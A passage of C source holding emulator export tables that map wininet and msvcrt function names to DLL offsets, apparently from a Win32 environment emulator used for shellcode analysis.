NULL},\n\t{\"ShowClientAuthCerts\", 0x0007A67B, NULL, NULL},\n\t{\"ShowSecurityInfo\", 0x0007B135, NULL, NULL},\n\t{\"ShowX509EncodedCertificate\", 0x0007BACB, NULL, NULL},\n\t{\"UnlockUrlCacheEntryFile\", 0x00027D5C, NULL, NULL},\n\t{\"UnlockUrlCacheEntryFileA\", 0x00027D5C, NULL, NULL},\n\t{\"UnlockUrlCacheEntryFileW\", 0x0006FFAF, NULL, NULL},\n\t{\"UnlockUrlCacheEntryStream\", 0x00027CC2, NULL, NULL},\n\t{\"UpdateUrlCacheContentPath\", 0x00070C50, NULL, NULL},\n\t{\"UrlZonesDetach\", 0x00069802, NULL, NULL},\n\t{\"_GetFileExtensionFromUrl\", 0x0004DE5F, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export msvcrt_exports[] = \n{\n\n\t{\"??0__non_rtti_object@@QAE@ABV0@@Z\", 0x0001164B, NULL, NULL},\n\t{\"??0__non_rtti_object@@QAE@PBD@Z\", 0x00011629, NULL, NULL},\n\t{\"??0bad_cast@@AAE@PBQBD@Z\", 0x000115C2, NULL, NULL},\n\t{\"??0bad_cast@@QAE@ABQBD@Z\", 0x000115C2, NULL, NULL},\n\t{\"??0bad_cast@@QAE@ABV0@@Z\", 0x00011590, NULL, NULL},\n\t{\"??0bad_cast@@QAE@PBD@Z\", 0x0001156D, NULL, NULL},\n\t{\"??0bad_typeid@@QAE@ABV0@@Z\", 0x00011607, NULL, NULL},\n\t{\"??0bad_typeid@@QAE@PBD@Z\", 0x000115E4, NULL, NULL},\n\t{\"??0exception@@QAE@ABQBD@Z\", 0x00011498, NULL, NULL},\n\t{\"??0exception@@QAE@ABV0@@Z\", 0x000114E7, NULL, NULL},\n\t{\"??0exception@@QAE@XZ\", 0x00011482, NULL, NULL},\n\t{\"??1__non_rtti_object@@UAE@XZ\", 0x0001166D, NULL, NULL},\n\t{\"??1bad_cast@@UAE@XZ\", 0x000115B2, NULL, NULL},\n\t{\"??1bad_typeid@@UAE@XZ\", 0x0001166D, NULL, NULL},\n\t{\"??1exception@@UAE@XZ\", 0x00011540, NULL, NULL},\n\t{\"??1type_info@@UAE@XZ\", 0x00011868, NULL, NULL},\n\t{\"??2@YAPAXI@Z\", 0x00019CC5, NULL, NULL},\n\t{\"??3@YAXPAX@Z\", 0x00019CDD, NULL, NULL},\n\t{\"??4__non_rtti_object@@QAEAAV0@ABV0@@Z\", 0x0001184C, NULL, NULL},\n\t{\"??4bad_cast@@QAEAAV0@ABV0@@Z\", 0x00011830, NULL, NULL},\n\t{\"??4bad_typeid@@QAEAAV0@ABV0@@Z\", 0x00011830, NULL, NULL},\n\t{\"??4exception@@QAEAAV0@ABV0@@Z\", 0x00011808, NULL, NULL},\n\t{\"??8type_info@@QBEHABV0@@Z\", 0x00011898, NULL, NULL},\n\t{\"??9type_info@@QBEHABV0@@Z\", 0x000118E1, NULL, NULL},\n\t{\"??_7__non_rtti_object@@6B@\", 0x000013F8, NULL, NULL},\n\t{\"??_7bad_cast@@6B@\", 0x000013E0, NULL, NULL},\n\t{\"??_7bad_typeid@@6B@\", 0x000013EC, NULL, NULL},\n\t{\"??_7exception@@6B@\", 0x000013C0, NULL, NULL},\n\t{\"??_E__non_rtti_object@@UAEPAXI@Z\", 0x0001178F, NULL, NULL},\n\t{\"??_Ebad_cast@@UAEPAXI@Z\", 0x0001172C, NULL, NULL},\n\t{\"??_Ebad_typeid@@UAEPAXI@Z\", 0x0001178F, NULL, NULL},\n\t{\"??_Eexception@@UAEPAXI@Z\", 0x000116A3, NULL, NULL},\n\t{\"??_Fbad_cast@@QAEXXZ\", 0x000116F6, NULL, NULL},\n\t{\"??_Fbad_typeid@@QAEXXZ\", 0x0001177F, NULL, NULL},\n\t{\"??_G__non_rtti_object@@UAEPAXI@Z\", 0x000117E2, NULL, NULL},\n\t{\"??_Gbad_cast@@UAEPAXI@Z\", 0x00011706, NULL, NULL},\n\t{\"??_Gbad_typeid@@UAEPAXI@Z\", 0x000117E2, NULL, NULL},\n\t{\"??_Gexception@@UAEPAXI@Z\", 0x0001167D, NULL, NULL},\n\t{\"??_U@YAPAXI@Z\", 0x00019CED, NULL, NULL},\n\t{\"??_V@YAXPAX@Z\", 0x00019CFD, NULL, NULL},\n\t{\"__uncaught_exception\", 0x00011BB1, NULL, NULL},\n\t{\"?_query_new_handler@@YAP6AHI@ZXZ\", 0x00019D3B, NULL, NULL},\n\t{\"?_query_new_mode@@YAHXZ\", 0x00019D94, NULL, NULL},\n\t{\"?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z\", 0x00019D0D, NULL, NULL},\n\t{\"?_set_new_mode@@YAHH@Z\", 0x00019D6C, NULL, NULL},\n\t{\"?_set_se_translator@@YAP6AXIPAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z\", 0x000125AD, NULL, NULL},\n\t{\"?before@type_info@@QBEHABV1@@Z\", 0x0001192A, NULL, NULL},\n\t{\"?name@type_info@@QBEPBDXZ\", 0x000125D0, NULL, NULL},\n\t{\"?raw_name@type_info@@QBEPBDXZ\", 0x00011973, NULL, NULL},\n\t{\"?set_new_handler@@YAP6AXXZP6AXXZ@Z\", 0x00019D9F, NULL, NULL},\n\t{\"?set_terminate@@YAP6AXXZP6AXXZ@Z\", 0x00012567, NULL, NULL},\n\t{\"?set_unexpected@@YAP6AXXZP6AXXZ@Z\", 0x0001258A, NULL, NULL},\n\t{\"?terminate@@YAXXZ\", 0x0001266D, NULL, NULL},\n\t{\"?unexpected@@YAXXZ\", 0x000126A7, NULL, NULL},\n\t{\"?what@exception@@UBEPBDXZ\", 0x0001155B, NULL, NULL},\n\t{\"$I10_OUTPUT\", 0x0003B2ED, NULL, NULL},\n\t{\"_CIacos\", 0x0003CA40, NULL, NULL},\n\t{\"_CIasin\", 0x0003CB10, NULL, NULL},\n\t{\"_CIatan\", 0x0003CC20, NULL, NULL},\n\t{\"_CIatan2\", 0x0003CD0A, NULL, NULL},\n\t{\"_CIcos\", 0x0003CD20, NULL, NULL},\n\t{\"_CIcosh\", 0x0003CE02, NULL, NULL},\n\t{\"_CIexp\", 0x0003CE5C, NULL, NULL},\n\t{\"_CIfmod\", 0x0003CEBA, NULL, NULL},\n\t{\"_CIlog\", 0x0003CF20, NULL, NULL},\n\t{\"_CIlog10\", 0x0003D080, NULL, NULL},\n\t{\"_CIpow\", 0x0003D1E0, NULL, NULL},\n\t{\"_CIsin\", 0x0003D430, NULL, NULL},\n\t{\"_CIsinh\", 0x0003CDF8, NULL, NULL},\n\t{\"_CIsqrt\", 0x0003D4F0, NULL, NULL},\n\t{\"_CItan\", 0x0003D5B0, NULL, NULL},\n\t{\"_CItanh\", 0x0003CE09, NULL, NULL},\n\t{\"_CxxThrowException\", 0x000126F6, NULL, NULL},\n\t{\"_EH_prolog\", 0x00012738, NULL, NULL},\n\t{\"_Getdays\", 0x00038450, NULL, NULL},\n\t{\"_Getmonths\", 0x00038509, NULL, NULL},\n\t{\"_Gettnames\", 0x000385C7, NULL, NULL},\n\t{\"_HUGE\", 0x000504F0, NULL, NULL},\n\t{\"_Strftime\", 0x00039094, NULL, NULL},\n\t{\"_XcptFilter\", 0x00022DAE, NULL, NULL},\n\t{\"__CxxCallUnwindDtor\", 0x00011D1D, NULL, NULL},\n\t{\"__CxxDetectRethrow\", 0x00011C33, NULL, NULL},\n\t{\"__CxxExceptionFilter\", 0x0001207D, NULL, NULL},\n\t{\"__CxxFrameHandler\", 0x000127FA, NULL, NULL},\n\t{\"__CxxLongjmpUnwind\", 0x00012837, NULL, NULL},\n\t{\"__CxxQueryExceptionSize\", 0x00011D14, NULL, NULL},\n\t{\"__CxxRegisterExceptionObject\", 0x00011BC9, NULL, NULL},\n\t{\"__CxxUnregisterExceptionObject\", 0x00011C8B, NULL, NULL},\n\t{\"__DestructExceptionObject\", 0x00011B41, NULL, NULL},\n\t{\"__RTCastToVoid\", 0x00012D19, NULL, NULL},\n\t{\"__RTDynamicCast\", 0x00013079, NULL, NULL},\n\t{\"__RTtypeid\", 0x00012BBA, NULL, NULL},\n\t{\"__STRINGTOLD\", 0x0003B9CE, NULL, NULL},\n\t{\"___lc_codepage_func\", 0x000230F4, NULL, NULL},\n\t{\"___lc_handle_func\", 0x00023112, NULL, NULL},\n\t{\"___mb_cur_max_func\", 0x000230E9, NULL, NULL},\n\t{\"___setlc_active_func\", 0x00023130, NULL, NULL},\n\t{\"___unguarded_readlc_active_add_func\", 0x0002313B, NULL, NULL},\n\t{\"__argc\", 0x00051A28, NULL, NULL},\n\t{\"__argv\", 0x00051A2C, NULL, NULL},\n\t{\"__badioinfo\", 0x0004F310, NULL, NULL},\n\t{\"__crtCompareStringA\", 0x00023DA5, NULL, NULL},\n\t{\"__crtCompareStringW\", 0x00024157, NULL, NULL},\n\t{\"__crtGetLocaleInfoW\", 0x000243AE, NULL, NULL},\n\t{\"__crtGetStringTypeW\", 0x000244E3, NULL, NULL},\n\t{\"__crtLCMapStringA\", 0x00024715, NULL, NULL},\n\t{\"__crtLCMapStringW\", 0x00024AE6, NULL, NULL},\n\t{\"__dllonexit\", 0x00024E51, NULL, NULL},\n\t{\"__doserrno\", 0x0000F2CA, NULL, NULL},\n\t{\"__fpecode\", 0x00024FB8, NULL, NULL},\n\t{\"__getmainargs\", 0x0000EEEB, NULL, NULL},\n\t{\"__initenv\", 0x00051A38, NULL, NULL},\n\t{\"__iob_func\", 0x0000F207, NULL, NULL},\n\t{\"__isascii\", 0x0000BE0A, NULL, NULL},\n\t{\"__iscsym\", 0x0000BE57, NULL, NULL},\n\t{\"__iscsymf\", 0x0000BE33, NULL, NULL},\n\t{\"__lc_codepage\", 0x000518B4, NULL, NULL},\n\t{\"__lc_collate_cp\", 0x000518B8, NULL, NULL},\n\t{\"__lc_handle\", 0x0005189C, NULL, NULL},\n\t{\"__lconv_init\", 0x0002530B, NULL, NULL},\n\t{\"__mb_cur_max\", 0x0004F97C, NULL, NULL},\n\t{\"__p___argc\", 0x0000F183, NULL, NULL},\n\t{\"__p___argv\", 0x0000F18E, NULL, NULL},\n\t{\"__p___initenv\", 0x0000F1F1, NULL, NULL},\n\t{\"__p___mb_cur_max\", 0x0000F228, NULL, NULL},\n\t{\"__p___wargv\", 0x0000F199, NULL, NULL},\n\t{\"__p___winitenv\", 0x0000F1FC, NULL, NULL},\n\t{\"__p__acmdln\", 0x0000F162, NULL, NULL},\n\t{\"__p__amblksiz\", 0x0000F178, NULL, NULL},\n\t{\"__p__commode\", 0x0000F1A4, NULL, NULL},\n\t{\"__p__daylight\", 0x0000F1AF, NULL, NULL},\n\t{\"__p__dstbias\", 0x0000F1BA, NULL, NULL},\n\t{\"__p__environ\", 0x0000F1C5, NULL, NULL},\n\t{\"__p__fileinfo\", 0x0000F1E6, NULL, NULL},\n\t{\"__p__fmode\", 0x0000F1DB, NULL, NULL},\n\t{\"__p__iob\", 0x0000F207, NULL, NULL},\n\t{\"__p__mbcasemap\", 0x0000F21D, NULL, NULL},\n\t{\"__p__mbctype\", 0x0000F212, NULL, NULL},\n\t{\"__p__osver\", 0x0000F233, NULL, NULL},\n\t{\"__p__pctype\", 0x0000F23E, NULL, NULL},\n\t{\"__p__pgmptr\", 0x0000F254, NULL, NULL},\n\t{\"__p__pwctype\", 0x0000F249, NULL, NULL},\n\t{\"__p__timezone\", 0x0000F26A, NULL, NULL},\n\t{\"__p__tzname\", 0x0000F275, NULL, NULL},\n\t{\"__p__wcmdln\", 0x0000F16D, NULL, NULL},\n\t{\"__p__wenviron\", 0x0000F1D0, NULL, NULL},\n\t{\"__p__winmajor\", 0x0000F280, NULL, NULL},\n\t{\"__p__winminor\", 0x0000F28B, NULL, NULL},\n\t{\"__p__winver\", 0x0000F296, NULL, NULL},\n\t{\"__p__wpgmptr\", 0x0000F25F, NULL, NULL},\n\t{\"__pctype_func\", 0x0002533D, NULL, NULL},\n\t{\"__pioinfo\", 0x00052440, NULL, NULL},\n\t{\"__pxcptinfoptrs\", 0x00024FC6, NULL, NULL},\n\t{\"__set_app_type\", 0x0002537C, NULL, NULL},\n\t{\"__setlc_active\", 0x0005278C, NULL, NULL},\n\t{\"__setusermatherr\", 0x0003D675, NULL, NULL},\n\t{\"__threadhandle\", 0x0002A11A, NULL, NULL},\n\t{\"__threadid\", 0x0002A10F, NULL, NULL},\n\t{\"__toascii\", 0x0000BE21, NULL, NULL},\n\t{\"__unDName\", 0x00017897, NULL, NULL},\n\t{\"__unDNameEx\", 0x0001793C, NULL, NULL},\n\t{\"__unguarded_readlc_active\", 0x00052790, NULL, NULL},\n\t{\"__wargv\", 0x00051A30, NULL, NULL},\n\t{\"__wcserror\", 0x00025390, NULL, NULL},\n\t{\"__wgetmainargs\", 0x0000EE8A, NULL, NULL},\n\t{\"__winitenv\", 0x00051A40, NULL, NULL},\n\t{\"_abnormal_termination\", 0x00025517, NULL, NULL},\n\t{\"_access\", 0x0000F355, NULL, NULL},\n\t{\"_acmdln\", 0x000517AC, NULL, NULL},\n\t{\"_adj_fdiv_m16i\", 0x0003DD24, NULL, NULL},\n\t{\"_adj_fdiv_m32\", 0x0003DC8C, NULL, NULL},\n\t{\"_adj_fdiv_m32i\", 0x0003DD58, NULL, NULL},\n\t{\"_adj_fdiv_m64\", 0x0003DCD8, NULL, NULL},\n\t{\"_adj_fdiv_r\", 0x0003D7C7, NULL, NULL},\n\t{\"_adj_fdivr_m16i\", 0x0003DE24, NULL, NULL},\n\t{\"_adj_fdivr_m32\", 0x0003DD8C, NULL, NULL},\n\t{\"_adj_fdivr_m32i\", 0x0003DE58, NULL, NULL},\n\t{\"_adj_fdivr_m64\", 0x0003DDD8, NULL, NULL},\n\t{\"_adj_fpatan\", 0x0003E435, NULL, NULL},\n\t{\"_adj_fprem\", 0x0003E0BC, NULL, NULL},\n\t{\"_adj_fprem1\", 0x0003E374, NULL, NULL},\n\t{\"_adj_fptan\", 0x0003E438, NULL, NULL},\n\t{\"_adjust_fdiv\", 0x000523D8, NULL, NULL},\n\t{\"_aexit_rtn\", 0x0004D000, NULL, NULL},\n\t{\"_aligned_free\", 0x00019E33, NULL, NULL},\n\t{\"_aligned_malloc\", 0x00019E52, NULL, NULL},\n\t{\"_aligned_offset_malloc\", 0x00019DAF, NULL, NULL},\n\t{\"_aligned_offset_realloc\", 0x00019E6E, NULL, NULL},\n\t{\"_aligned_realloc\", 0x00019FC6, NULL, NULL},\n\t{\"_amsg_exit\", 0x0000F125, NULL, NULL},\n\t{\"_assert\", 0x00025566, NULL, NULL},\n\t{\"_atodbl\", 0x0003BE70, NULL, NULL},\n\t{\"_atoi64\", 0x0000BF28, NULL, NULL},\n\t{\"_atoldbl\", 0x0003BEB8, NULL, NULL},\n\t{\"_beep\", 0x0000E10A, NULL, NULL},\n\t{\"_beginthread\", 0x0002A26E, NULL, NULL},\n\t{\"_beginthreadex\", 0x0002A3DB, NULL, NULL},\n\t{\"_c_exit\", 0x00029ECE, NULL, NULL},\n\t{\"_cabs\", 0x0003E6E8, NULL, NULL},\n\t{\"_callnewh\", 0x00019D46, NULL, NULL},\n\t{\"_cexit\", 0x00029EB6, NULL, NULL},\n\t{\"_cgets\", 0x0001CAB0, NULL, NULL},\n\t{\"_cgetws\", 0x0001CB91, NULL, NULL},\n\t{\"_chdir\", 0x0000F3A5, NULL, NULL},\n\t{\"_chdrive\", 0x0000F4AC, NULL, NULL},\n\t{\"_chgsign\", 0x0003E736, NULL, NULL},\n\t{\"_chkesp\", 0x00025BBC, NULL, NULL},\n\t{\"_chmod\", 0x0000F53F, NULL, NULL},\n\t{\"_chsize\", 0x0001CFAE, NULL, NULL},\n\t{\"_clearfp\", 0x0003EDDA, NULL, NULL},\n\t{\"_close\", 0x0001D0D7, NULL, NULL},\n\t{\"_commit\", 0x0001D177, NULL, NULL},\n\t{\"_commode\", 0x000521FC, NULL, NULL},\n\t{\"_control87\", 0x0003EDF5, NULL, NULL},\n\t{\"_controlfp\", 0x0003EE2F, NULL, NULL},\n\t{\"_copysign\", 0x0003E70E, NULL, NULL},\n\t{\"_cprintf\", 0x0002C388, NULL, NULL},\n\t{\"_cputs\", 0x0001D238, NULL, NULL},\n\t{\"_cputws\", 0x0001D35D, NULL, NULL},\n\t{\"_creat\", 0x0001D40F, NULL, NULL},\n\t{\"_cscanf\", 0x0002D0BB, NULL, NULL},\n\t{\"_ctime64\", 0x000390EF, NULL, NULL},\n\t{\"_ctype\", 0x000028A0, NULL, NULL},\n\t{\"_cwait\", 0x000181BD, NULL, NULL},\n\t{\"_cwprintf\", 0x0002DB3B, NULL, NULL},\n\t{\"_cwscanf\", 0x0002E94F, NULL, NULL},\n\t{\"_daylight\", 0x0004FFD4, NULL, NULL},\n\t{\"_dstbias\", 0x0004FFD8, NULL, NULL},\n\t{\"_dup\", 0x0001D4F4, NULL, NULL},\n\t{\"_dup2\", 0x0001D70D, NULL, NULL},\n\t{\"_ecvt\", 0x0000C0A2, NULL, NULL},\n\t{\"_endthread\", 0x0002A194, NULL, NULL},\n\t{\"_endthreadex\", 0x0002A307, NULL, NULL},\n\t{\"_environ\", 0x00051A34, NULL, NULL},\n\t{\"_eof\", 0x0001D7DD, NULL, NULL},\n\t{\"_errno\", 0x0000F2BC, NULL, NULL},\n\t{\"_except_handler2\", 0x00025BDC, NULL, NULL},\n\t{\"_except_handler3\", 0x00025C94, NULL, NULL},\n\t{\"_execl\", 0x00018253, NULL, NULL},\n\t{\"_execle\", 0x00018270, NULL, NULL},\n\t{\"_execlp\", 0x00018299, NULL, NULL},\n\t{\"_execlpe\", 0x000182B3, NULL, NULL},\n\t{\"_execv\", 0x000182DC, env_w32_hook__execv, NULL},\n\t{\"_execve\", 0x00018351, NULL, NULL},\n\t{\"_execvp\", 0x000184DF, NULL, NULL},\n\t{\"_execvpe\", 0x000184FB, NULL, NULL},\n\t{\"_exit\", 0x00029E9A, NULL, NULL},\n\t{\"_expand\", 0x00019FE5, NULL, NULL},\n\t{\"_fcloseall\", 0x0002E968, NULL, NULL},\n\t{\"_fcvt\", 0x0000C054, NULL, NULL},\n\t{\"_fdopen\", 0x0002EA08, NULL, NULL},\n\t{\"_fgetchar\", 0x0002EB2A, NULL, NULL},\n\t{\"_fgetwchar\", 0x0002EB45, NULL, NULL},\n\t{\"_filbuf\", 0x0002EB60, NULL, NULL},\n\t{\"_fileinfo\", 0x0004D2A0, NULL, NULL},\n\t{\"_filelength\", 0x0001D8E2, NULL, NULL},\n\t{\"_filelengthi64\", 0x0001D9BB, NULL, NULL},\n\t{\"_fileno\", 0x0002EC4B, NULL, NULL},\n\t{\"_findclose\", 0x0000E122, NULL, NULL},\n\t{\"_findfirst\", 0x0000E1B8, NULL, NULL},\n\t{\"_findfirst64\", 0x0000E3F8, NULL, NULL},\n\t{\"_findfirsti64\", 0x0000E61B, NULL, NULL},\n\t{\"_findnext\", 0x0000E2A4, NULL, NULL},\n\t{\"_findnext64\", 0x0000E50C, NULL, NULL},\n\t{\"_findnexti64\", 0x0000E726, NULL, NULL},\n\t{\"_finite\", 0x0003EB1E, NULL, NULL},\n\t{\"_flsbuf\", 0x0002EC5D, NULL, NULL},\n\t{\"_flushall\", 0x0002EF4B, NULL, NULL},\n\t{\"_fmode\", 0x0005185C, NULL, NULL},\n\t{\"_fpclass\", 0x0003EB74, NULL, NULL},\n\t{\"_fpieee_flt\", 0x0003F38E, NULL, NULL},\n\t{\"_fpreset\", 0x0003EC17, NULL, NULL},\n\t{\"_fputchar\", 0x0002EF59, NULL, NULL},\n\t{\"_fputwchar\", 0x0002EF84, NULL, NULL},\n\t{\"_fsopen\", 0x0002EFAF, NULL, NULL},\n\t{\"_fstat\", 0x0001DAB4, NULL, NULL},\n\t{\"_fstat64\", 0x0001DD75, NULL, NULL},\n\t{\"_fstati64\", 0x0001E07A, NULL, NULL},\n\t{\"_ftime\", 0x00039113, NULL, NULL},\n\t{\"_ftime64\", 0x00039224, NULL, NULL},\n\t{\"_ftol\", 0x0003FA10, NULL, NULL},\n\t{\"_fullpath\", 0x0000F589, NULL, NULL},\n\t{\"_futime\", 0x00039351, NULL, NULL},\n\t{\"_futime64\", 0x000394DE, NULL, NULL},\n\t{\"_gcvt\", 0x0000C0FA, NULL, NULL},\n\t{\"_get_heap_handle\", 0x0001A401, NULL, NULL},\n\t{\"_get_osfhandle\", 0x0001E468, NULL, NULL},\n\t{\"_get_sbh_threshold\", 0x0001A40C, NULL, NULL},\n\t{\"_getch\", 0x0001EAA1, NULL, NULL},\n\t{\"_getche\", 0x0001EAC4, NULL, NULL},\n\t{\"_getcwd\", 0x0000F785, NULL, NULL},\n\t{\"_getdcwd\", 0x0000F7D0, NULL, NULL},\n\t{\"_getdiskfree\", 0x0000E82C, NULL, NULL},\n\t{\"_getdllprocaddr\", 0x000186B2, NULL, NULL},\n\t{\"_getdrive\", 0x0000F452, NULL, NULL},\n\t{\"_getdrives\", 0x0000E885, NULL, NULL},\n\t{\"_getmaxstdio\", 0x0002F12C, NULL, NULL},\n\t{\"_getmbcp\", 0x00020838, NULL, NULL},\n\t{\"_getpid\", 0x0000F81C, NULL, NULL},\n\t{\"_getsystime\", 0x00039671, NULL, NULL},\n\t{\"_getw\", 0x0002F137, NULL, NULL},\n\t{\"_getwch\", 0x0001ECF6, NULL, NULL},\n\t{\"_getwche\", 0x0001ED1A, NULL, NULL},\n\t{\"_getws\", 0x0002F1B9, NULL, NULL},\n\t{\"_global_unwind2\", 0x0002544C, NULL, NULL},\n\t{\"_gmtime64\", 0x00039743, NULL, NULL},\n\t{\"_heapadd\", 0x0001BC9F, NULL, NULL},\n\t{\"_heapchk\", 0x0001BCB3, NULL, NULL},\n\t{\"_heapmin\", 0x0001BD8C, NULL, NULL},\n\t{\"_heapset\", 0x0001BD82, NULL, NULL},\n\t{\"_heapused\", 0x0001BE3A, NULL, NULL},\n\t{\"_heapwalk\", 0x0001BE4D, NULL, NULL},\n\t{\"_hypot\", 0x0003E6C2, NULL, NULL},\n\t{\"_i64toa\", 0x0000C2E1, NULL, NULL},\n\t{\"_i64tow\", 0x0000C489, NULL, NULL},\n\t{\"_initterm\", 0x00029D67, NULL, NULL},\n\t{\"_inp\", 0x0001ED70, NULL, NULL},\n\t{\"_inpd\", 0x0001ED81, NULL, NULL},\n\t{\"_inpw\", 0x0001ED79, NULL, NULL},\n\t{\"_iob\", 0x0004FC80, NULL, NULL},\n\t{\"_isatty\", 0x0001ED8D, NULL, NULL},\n\t{\"_isctype\", 0x0000C561, NULL, NULL},\n\t{\"_ismbbalnum\", 0x00020A3C, NULL, NULL},\n\t{\"_ismbbalpha\", 0x00020A5A, NULL, NULL},\n\t{\"_ismbbgraph\", 0x00020A78, NULL, NULL},\n\t{\"_ismbbkalnum\", 0x000209EB, NULL, NULL},\n\t{\"_ismbbkana\", 0x00020B05, NULL, NULL},\n\t{\"_ismbbkprint\", 0x00020A06, NULL, NULL},\n\t{\"_ismbbkpunct\", 0x00020A21, NULL, NULL},\n\t{\"_ismbblead\", 0x00020ACF, NULL, NULL},\n\t{\"_ismbbprint\", 0x00020A96, NULL, NULL},\n\t{\"_ismbbpunct\", 0x00020AB4, NULL, NULL},\n\t{\"_ismbbtrail\", 0x00020AEA, NULL, NULL},\n\t{\"_ismbcalnum\", 0x00020B37, NULL, NULL},\n\t{\"_ismbcalpha\", 0x00020BD1, NULL, NULL},\n\t{\"_ismbcdigit\", 0x00020C6B, NULL, NULL},\n\t{\"_ismbcgraph\", 0x00020CF6, NULL, NULL},\n\t{\"_ismbchira\", 0x00020D90, NULL, NULL},\n\t{\"_ismbckata\", 0x00020DC1, NULL, NULL},\n\t{\"_ismbcl0\", 0x00020E35, NULL, NULL},\n\t{\"_ismbcl1\", 0x00020E8A, NULL, NULL},\n\t{\"_ismbcl2\", 0x00020EE7, NULL, NULL},\n\t{\"_ismbclegal\", 0x00020F44, NULL, NULL},\n\t{\"_ismbclower\", 0x00020F87, NULL, NULL},\n\t{\"_ismbcprint\", 0x00021018, NULL, NULL},\n\t{\"_ismbcpunct\", 0x000210B2, NULL, NULL},\n\t{\"_ismbcspace\", 0x00021148, NULL, NULL},\n\t{\"_ismbcsymbol\", 0x00020DFB, NULL, NULL},\n\t{\"_ismbcupper\", 0x000211D3, NULL, NULL},\n\t{\"_ismbslead\", 0x000212A8, NULL, NULL},\n\t{\"_ismbstrail\", 0x000212D8, NULL, NULL},\n\t{\"_isnan\", 0x0003EB3D, NULL, NULL},\n\t{\"_itoa\", 0x0000C1F3, NULL, NULL},\n\t{\"_itow\", 0x0000C392, NULL, NULL},\n\t{\"_j0\", 0x0003FA90, NULL, NULL},\n\t{\"_j1\", 0x0003FB8A, NULL, NULL},\n\t{\"_jn\", 0x0003FCA4, NULL, NULL},\n\t{\"_kbhit\", 0x0001EAE7, NULL, NULL},\n\t{\"_lfind\", 0x00025D9A, NULL, NULL},\n\t{\"_loaddll\", 0x000186E8, NULL, NULL},\n\t{\"_local_unwind2\", 0x000254A7, NULL, NULL},\n\t{\"_localtime64\", 0x0003996F, NULL, NULL},\n\t{\"_lock\", 0x0002A5BB, NULL, NULL},\n\t{\"_locking\", 0x0001EE84, NULL, NULL},\n\t{\"_logb\", 0x0003E782, NULL, NULL},\n\t{\"_longjmpex\", 0x00025DD4, NULL, NULL},\n\t{\"_lrotl\", 0x00025DDE, NULL, NULL},\n\t{\"_lrotr\", 0x00025E02, NULL, NULL},\n\t{\"_lsearch\", 0x00025E26, NULL, NULL},\n\t{\"_lseek\", 0x0001EFB0, NULL, NULL},\n\t{\"_lseeki64\", 0x0001F0EA, NULL, NULL},\n\t{\"_ltoa\", 0x0000C222, NULL, NULL},\n\t{\"_ltow\", 0x0000C3C1, NULL, NULL},\n\t{\"_makepath\", 0x00025E76, NULL, NULL},\n\t{\"_mbbtombc\", 0x0002132C, NULL, NULL},\n\t{\"_mbbtype\", 0x0002146F, NULL, NULL},\n\t{\"_mbcasemap\", 0x00052680, NULL, NULL},\n\t{\"_mbccpy\", 0x0002149F, NULL, NULL},\n\t{\"_mbcjistojms\", 0x000214C7, NULL, NULL},\n\t{\"_mbcjmstojis\", 0x00021534, NULL, NULL},\n\t{\"_mbclen\", 0x000215E8, NULL, NULL},\n\t{\"_mbctohira\", 0x00021608, NULL, NULL},\n\t{\"_mbctokata\", 0x00021644, NULL, NULL},\n\t{\"_mbctolower\", 0x00021671, NULL, NULL},\n\t{\"_mbctombb\", 0x0002139E, NULL, NULL},\n\t{\"_mbctoupper\", 0x000216FD, NULL, NULL},\n\t{\"_mbctype\", 0x00052560, NULL, NULL},\n\t{\"_mbsbtype\", 0x000217CF, NULL, NULL},\n\t{\"_mbscat\", 0x00036040, NULL, NULL},\n\t{\"_mbschr\", 0x000217FF, NULL, NULL},\n\t{\"_mbscmp\", 0x00021881, NULL, NULL},\n\t{\"_mbscoll\", 0x00021944, NULL, NULL},\n\t{\"_mbscpy\", 0x00036030, NULL, NULL},\n\t{\"_mbscspn\", 0x00021A0B, NULL, NULL},\n\t{\"_mbsdec\", 0x00021A3B, NULL, NULL},\n\t{\"_mbsdup\", 0x00036125, NULL, NULL},\n\t{\"_mbsicmp\", 0x00021AA3, NULL, NULL},\n\t{\"_mbsicoll\", 0x00021BF5, NULL, NULL},\n\t{\"_mbsinc\", 0x00021C3E, NULL, NULL},\n\t{\"_mbslen\", 0x00021C5F, NULL, NULL},\n\t{\"_mbslwr\", 0x00021CBA, NULL, NULL},\n\t{\"_mbsnbcat\", 0x00021D46, NULL, NULL},\n\t{\"_mbsnbcmp\", 0x00021E1D, NULL, NULL},\n\t{\"_mbsnbcnt\", 0x00021F38, NULL, NULL},\n\t{\"_mbsnbcoll\", 0x00021F68, NULL, NULL},\n\t{\"_mbsnbcpy\", 0x00021FBD, NULL, NULL},\n\t{\"_mbsnbicmp\", 0x00022057, NULL, NULL},\n\t{\"_mbsnbicoll\", 0x000221CD, NULL, NULL},\n\t{\"_mbsnbset\", 0x00022222, NULL, NULL},\n\t{\"_mbsncat\", 0x0002229D, NULL, NULL},\n\t{\"_mbsnccnt\", 0x00022360, NULL, NULL},\n\t{\"_mbsncmp\", 0x000223B7, NULL, NULL},\n\t{\"_mbsncoll\", 0x00022463, NULL, NULL},\n\t{\"_mbsncpy\", 0x000224D4, NULL, NULL},\n\t{\"_mbsnextc\", 0x00022563, NULL, NULL},\n\t{\"_mbsnicmp\", 0x0002258B, NULL, NULL},\n\t{\"_mbsnicoll\", 0x000226D8, NULL, NULL},\n\t{\"_mbsninc\", 0x00022749, NULL, NULL},\n\t{\"_mbsnset\", 0x0002276F, NULL, NULL},\n\t{\"_mbspbrk\", 0x000228D3, NULL, NULL},\n\t{\"_mbsrchr\", 0x00022903, NULL, NULL},\n\t{\"_mbsrev\", 0x00022975, NULL, NULL},\n\t{\"_mbsset\", 0x000229E8, NULL, NULL},\n\t{\"_mbsspn\", 0x00022AC4, NULL, NULL},\n\t{\"_mbsspnp\", 0x00022B80, NULL, NULL},\n\t{\"_mbsstr\", 0x00022BB0, NULL, NULL},\n\t{\"_mbstok\", 0x00022C70, NULL, NULL},\n\t{\"_mbstrlen\", 0x0000C591, NULL, NULL},\n\t{\"_mbsupr\", 0x00022D22, NULL, NULL},\n\t{\"_memccpy\", 0x00036170, NULL, NULL},\n\t{\"_memicmp\", 0x000361C8, NULL, NULL},\n\t{\"_mkdir\", 0x0000F827, NULL, NULL},\n\t{\"_mktemp\", 0x0001F1AD, NULL, NULL},\n\t{\"_mktime64\", 0x00039DCE, NULL, NULL},\n\t{\"_msize\", 0x0001BF6C, NULL, NULL},\n\t{\"_nextafter\", 0x0003E874, NULL, NULL},\n\t{\"_onexit\", 